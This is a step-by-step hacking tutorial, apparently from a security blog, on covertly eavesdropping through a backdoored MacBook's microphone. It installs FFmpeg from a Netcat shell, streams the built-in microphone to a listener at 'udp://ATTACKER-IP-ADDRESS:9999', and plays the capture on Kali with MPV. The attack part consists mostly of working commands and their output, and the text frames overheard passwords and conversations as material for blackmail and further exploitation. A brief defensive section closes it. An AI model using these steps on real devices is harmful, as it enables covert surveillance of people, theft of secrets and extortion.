How to Remotely Eavesdrop in Real Time Using Anyone's MacBook Microphone

Google, Amazon, and Facebook are always listening. But what's worse? Hackers are listening, too. Windows PCs are particularly vulnerable, but with a few simple commands, a remote attacker can even take over the microphone on someone's Mac computer, streaming audio and listening to private conversations in real time without the victim's knowledge, abusing an overlooked security consideration.

After an attacker has established a backdoor on a vulnerable MacBook or compromised the device remotely using a fake PDF, they can use modern post-exploitation frameworks like Empire or Metasploit to execute a variety of different attacks. This time, I'll show a stealthier method of listening to audio using the victim's microphone by utilizing an application called FFmpeg.

- **Don't Miss: How to Configure a Backdoor on Anyone's MacBook**

How This Eavesdropping Attack Works

FFmpeg is a multimedia framework able to decode, encode, transcode, convert, stream, and play most formats on Windows, macOS, and Unix-based distributions.

This tool will be installed on both the backdoored MacBook and the attacker's Kali system. A listening server will be hosted on the attacker's side, and audio will be sent from the victim's MacBook to the attacker's system. The attacker will then be able to tap into the stream created by FFmpeg and hear everything in the surrounding area of the compromised MacBook.

Overheard information may include private conversations where a victim divulges a password or secret to someone in the room, personal information shared during phone calls, or conversations which can be later used for blackmail. This information is highly valuable to a remote attacker looking to further exploit the victim's personal and digital life, associates and family, and work colleagues.

Step 1 Install FFmpeg in Kali

On the attacker's Kali Linux system, FFmpeg can be installed using the **apt-get install ffmpeg** command, as seen below.

```
apt-get install ffmpeg

Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
ffmpeg-doc
The following packages will be upgraded:
ffmpeg
1 upgraded, 0 newly installed, 0 to remove and 596 not upgraded.
Need to get 1,622 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 [http://archive-3.kali.org/kali ] kali-rolling/main amd64 ffmpeg amd64 7:3.4.2-2+b1 1,622 kB
Fetched 1,622 kB in 3s (540.9 kB/s)
Reading changelogs... Done
(Reading database ... 312014 files and directories currently installed.)
Preparing to unpack .../ffmpeg_7%3a3.4.2-2+b1_amd64.deb ...
Unpacking ffmpeg (7:3.4.2-2+b1) over (7:3.4.2-1+b1) ...
Setting up ffmpeg (7:3.4.2-2+b1) ...
Processing triggers for man-db (2.8.2-1) ...
```

Step 2 Configure the FFmpeg Server

To receive an incoming audio stream, FFmpeg will need to be configured on the attacker's system. The below command can be used to start FFmpeg.

```
ffmpeg -i udp://0.0.0.0:9999 /tmp/outputFile.mp3
```

This command will instruct FFmpeg to open UDP port (**udp://**) **9999** and accept input (**-i**) on every available interface (**0.0.0.0**). It will then save the audio stream to the **/tmp** directory in MP3 format with the filename **outputFile.mp3**. The port number (9999), save directory (/tmp), and output filename can, of course, be changed as needed. For this demonstration, I'm using easy-to-remember values.

That's it for setting up FFmpeg on the attacker's system. Next, I'll show how to configure FFmpeg on the backdoored MacBook.

Step 3 Install FFmpeg on the Backdoored MacBook

FFmpeg is capable of capturing audio through Apple's AVFoundation, a fully featured framework for working with media on iOS, macOS, and watchOS. Using AVFoundation, users can play, create, and edit media files, as well as build powerful media functionality into applications.

From the Netcat backdoor on the MacBook, use cURL to download FFmpeg and save the ZIP to the /tmp directory. This can be done using the below command. To avoid arousing suspicion in the victim user, a directory other than /tmp can be used on the target MacBook.

```
curl 'https://ffmpeg.zeranoe.com/builds/macos64/static/ffmpeg-4.0-macos64-static.zip' -o
/tmp/ffmpeg.zip
```

When the download is complete, use the **unzip /tmp/ffmpeg.zip** command to extract the files, as seen below.

```
unzip /tmp/ffmpeg.zip

Archive: ffmpeg.zip
creating: ffmpeg-4.0-macos64-static/
creating: ffmpeg-4.0-macos64-static/bin/
inflating: ffmpeg-4.0-macos64-static/bin/ffmpeg
inflating: ffmpeg-4.0-macos64-static/bin/ffplay
inflating: ffmpeg-4.0-macos64-static/bin/ffprobe
creating: ffmpeg-4.0-macos64-static/doc/
inflating: ffmpeg-4.0-macos64-static/doc/bootstrap.min.css
inflating: ffmpeg-4.0-macos64-static/doc/default.css
inflating: ffmpeg-4.0-macos64-static/doc/developer.html
inflating: ffmpeg-4.0-macos64-static/doc/faq.html
inflating: ffmpeg-4.0-macos64-static/doc/fate.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-all.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-bitstream-filters.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-codecs.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-devices.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-filters.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-formats.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-protocols.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-resampler.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-scaler.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-utils.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg.html
inflating: ffmpeg-4.0-macos64-static/doc/ffplay-all.html
inflating: ffmpeg-4.0-macos64-static/doc/ffplay.html
inflating: ffmpeg-4.0-macos64-static/doc/ffprobe-all.html
inflating: ffmpeg-4.0-macos64-static/doc/ffprobe.html
inflating: ffmpeg-4.0-macos64-static/doc/general.html
```

```
inflating: ffmpeg-4.0-macos64-static/doc/git-howto.html
inflating: ffmpeg-4.0-macos64-static/doc/libavcodec.html
inflating: ffmpeg-4.0-macos64-static/doc/libavdevice.html
inflating: ffmpeg-4.0-macos64-static/doc/libavfilter.html
inflating: ffmpeg-4.0-macos64-static/doc/libavformat.html
inflating: ffmpeg-4.0-macos64-static/doc/libavutil.html
inflating: ffmpeg-4.0-macos64-static/doc/libswresample.html
inflating: ffmpeg-4.0-macos64-static/doc/libswscale.html
inflating: ffmpeg-4.0-macos64-static/doc/mailing-list-faq.html
inflating: ffmpeg-4.0-macos64-static/doc/nut.html
inflating: ffmpeg-4.0-macos64-static/doc/platform.html
inflating: ffmpeg-4.0-macos64-static/doc/style.min.css
inflating: ffmpeg-4.0-macos64-static/LICENSE.txt
creating: ffmpeg-4.0-macos64-static/presets/
inflating: ffmpeg-4.0-macos64-static/presets/ffprobe.xsd
inflating: ffmpeg-4.0-macos64-static/presets/libvpx-1080p.ffpreset
inflating: ffmpeg-4.0-macos64-static/presets/libvpx-1080p50_60.ffpreset
inflating: ffmpeg-4.0-macos64-static/presets/libvpx-360p.ffpreset
inflating: ffmpeg-4.0-macos64-static/presets/libvpx-720p.ffpreset
inflating: ffmpeg-4.0-macos64-static/presets/libvpx-720p50_60.ffpreset
inflating: ffmpeg-4.0-macos64-static/README.txt
```

A new directory called "ffmpeg-4.0-macos64-static/" will be created. In this directory is a bin/ directory containing the **ffmpeg** binary. Change into the bin/ directory using the **cd** command.

```
cd ffmpeg-4.0-macos64-static/bin/
```

Ensure the ffmpeg binary has permission to execute on the MacBook using the **chmod** command.

```
chmod 777 ffmpeg
```

Then, list the available input devices on the MacBook using the **./ffmpeg -f avfoundation -list_devices true -i ""** command, as seen below.

```
./ffmpeg -f avfoundation -list_devices true -i ""

AVFoundation input device @ 0x7fda1bc152c0 AVFoundation video devices:
AVFoundation input device @ 0x7fda1bc152c0 0 FaceTime HD Camera (Built-in)
AVFoundation input device @ 0x7fda1bc152c0 1 Capture screen 0
AVFoundation input device @ 0x7fda1bc152c0 AVFoundation audio devices:
AVFoundation input device @ 0x7fda1bc152c0 0 USB Audio CODEC
AVFoundation input device @ 0x7fda1bc152c0 1 Built-in Microphone
```

This command will force (**-f**) FFmpeg to use the AVFoundation format and list (**-list_devices**) all available input (**-i ""**) devices in the MacBook. AVFoundation uses the convention "Video:Audio," so capturing audio using the built-in microphone would appear as **":1"** in the next command because the microphone is assigned to the "1" audio device.

To capture audio using the built-in microphone, run the below command from a Netcat shell on the backdoored MacBook.

```
./ffmpeg -f avfoundation -i ":1" -f mp3 udp://ATTACKER-IP-ADDRESS:9999
```

Remember, the input source may appear as "0" or "2" on other MacBook devices. The force format (**-f**) is used again to specify the output format (**MP3**) and sends the audio stream to the attacker's UDP address on port 9999.

From the Netcat backdoor, the below output will continue to generate data pertaining to the data stream.

```
ffmpeg version 4.0 Copyright (c) 2000-2018 the FFmpeg developers
built with Apple LLVM version 9.1.0 (clang-902.0.39.1)

configuration: --enable-gpl --enable-version3 --enable-sdl2 --enable-bzlib --enable-fontconfig --enable-gnutls --enable-iconv --enable-libass --enable-libbluray --enable-libfreetype --enable-libmp3lame --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-libopus --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libtheora --enable-libtwolame --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxml2 --enable-libzimg --enable-lzma --enable-zlib --enable-gmp --enable-libvidstab --enable-libvorbis --enable-libvo-amrwbenc --enable-libmysofa --enable-libspeex --enable-libxvid --enable-libaom --enable-appkit --enable-avfoundation --enable-coreimage --enable-audiotoolbox

libavutil 56. 14.100 / 56. 14.100
libavcodec 58. 18.100 / 58. 18.100
libavformat 58. 12.100 / 58. 12.100
libavdevice 58. 3.100 / 58. 3.100
libavfilter 7. 16.100 / 7. 16.100
libswscale 5. 1.100 / 5. 1.100
libswresample 3. 1.100 / 3. 1.100
libpostproc 55. 1.100 / 55. 1.100
Input #0, avfoundation, from ':1':
Duration: N/A, start: 68239.447483, bitrate: 2822 kb/s
Stream #0:0: Audio: pcm_f32le, 44100 Hz, stereo, flt, 2822 kb/s
Stream mapping:
Stream #0:0 -> #0:0 (pcm_f32le (native) -> mp3 (libmp3lame))
Press q to stop, ? for help
Output #0, mp3, to 'udp://ATTACKER-IP-ADDRESS:9999':
Metadata:
```

```
TSSE : Lavf58.12.100
Stream #0:0: Audio: mp3 (libmp3lame), 44100 Hz, stereo, fltp
Metadata:
encoder : Lavc58.18.100 libmp3lame
ze= 2354kB time=00:02:30.62 bitrate= 128.0kbits/s speed=0.999x
```

Back on the attacker's server, the FFmpeg terminal will display audio data and begin saving the audio to the specified (/tmp) directory.

```
ffmpeg version 3.4.2-2+b1 Copyright (c) 2000-2018 the FFmpeg developers
built with gcc 7 (Debian 7.3.0-16)
libavutil 55. 78.100 / 55. 78.100
libavcodec 57.107.100 / 57.107.100
libavformat 57. 83.100 / 57. 83.100
libavdevice 57. 10.100 / 57. 10.100
libavfilter 6.107.100 / 6.107.100
libavresample 3. 7. 0 / 3. 7. 0
libswscale 4. 8.100 / 4. 8.100
libswresample 2. 9.100 / 2. 9.100
libpostproc 54. 7.100 / 54. 7.100
Input #0, mp3, from 'udp://0.0.0.0:9999':
Metadata:
encoder : Lavf58.12.100
Duration: N/A, start: 0.000000, bitrate: 128 kb/s
Stream #0:0: Audio: mp3, 44100 Hz, stereo, s16p, 128 kb/s
Stream mapping:
Stream #0:0 -> #0:0 (mp3 (native) -> mp3 (libmp3lame))
Press q to stop, ? for help
Output #0, mp3, to '/tmp/outputFile.mp3':
Metadata:
TSSE : Lavf57.83.100
Stream #0:0: Audio: mp3 (libmp3lame), 44100 Hz, stereo, s16p
Metadata:
encoder : Lavc57.107.100 libmp3lame
mp3 @ 0x55ddc6449240 overread, skip -8 enddists: -4 -4
mp3 @ 0x55ddc6449240 overread, skip -9 enddists: -7 -7
mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -6 -6
mp3 @ 0x55ddc6449240 overread, skip -8 enddists: -5 -5
mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -1 -1
mp3 @ 0x55ddc6449240 overread, skip -5 enddists: -2 -2

...

mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -3 -3peed=0.997x
mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -6 -6
mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -2 -2peed=0.996x
mp3 @ 0x55ddc6449240 overread, skip -6 enddists: -5 -5peed=0.997x
mp3 @ 0x55ddc6449240 overread, skip -6 enddists: -5 -5peed=0.994x
```

```
mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -2 -2
mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -3 -3
size= 2466kB time=00:02:37.78 bitrate= 128.0kbits/s speed=0.994x
video:0kB audio:2466kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.010020%
```

As long as the FFmpeg terminals are running on both machines, the MacBook microphone will continue to send and save audio to the attacker's server.

Step 4 Install MPV & Listen to Streaming Audio

The final step is to tap into the audio stream. This can be done using MPV, a terminal-based application capable of playing audio from the command line. Use the **apt-get install mpv** command to install MPV in Kali.

```
apt-get install mpv

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
mpv
0 upgraded, 1 newly installed, 0 to remove and 596 not upgraded.
Need to get 0 B/933 kB of archives.
After this operation, 2,293 kB of additional disk space will be used.
Selecting previously unselected package mpv.
(Reading database ... 311978 files and directories currently installed.)
Preparing to unpack .../mpv_0.27.2-1_amd64.deb ...
Unpacking mpv (0.27.2-1) ...
Setting up mpv (0.27.2-1) ...
```

Finally, use the **mpv --keep-open=yes /tmp/outputFile.mp3** command to begin listening to the audio, as such:

```
mpv --keep-open=yes /tmp/outputFile.mp3
Playing: outputFile.mp3
(+) Audio --aid=1 (mp3)
AO: pulse 44100Hz stereo 2ch s16
A: 00:01:54 / 00:02:37 (72%)
```

The **--keep-open** argument isn't required. It will keep the MPV command from closing in the event it reaches the end of the file.

As mentioned, FFmpeg will continue to write audio data to the outputFile.mp3. As MPV is playing audio in real time, it occasionally reaches the end of the file before FFmpeg can process the streaming the audio. This is similar to how YouTube videos need to buffer

before they can be played. MPV can't play audio if FFmpeg isn't done processing it. I would recommend leaving a 5–10-second buffer in the MPV terminal for a seamless (*nearly real time*) streaming experience.

How to Protect Against Audio Streaming Attacks

There's a good chance that antivirus software won't defend against such attacks, since FFmpeg isn't considered a malicious application and doesn't attempt to change any files on the computer or open ports.

Other than frequently checking for suspicious processes using **top** or **ps**, there's not a whole lot that can be done. In a future guide, I'll actually be showing how to hide such processes from active user detection, so those aren't surefire ways to detect abuse anyway.

A last-ditch way to protect yourself against eavesdroppers is to just disconnect the cable for the built-in microphone in the MacBook, iMac, or other Mac computer, then rely solely on third-party desktop microphones or headphones with built-in mics that you can easily disconnect when not in use. This will at least limit your exposure to possible eavesdropping attacks.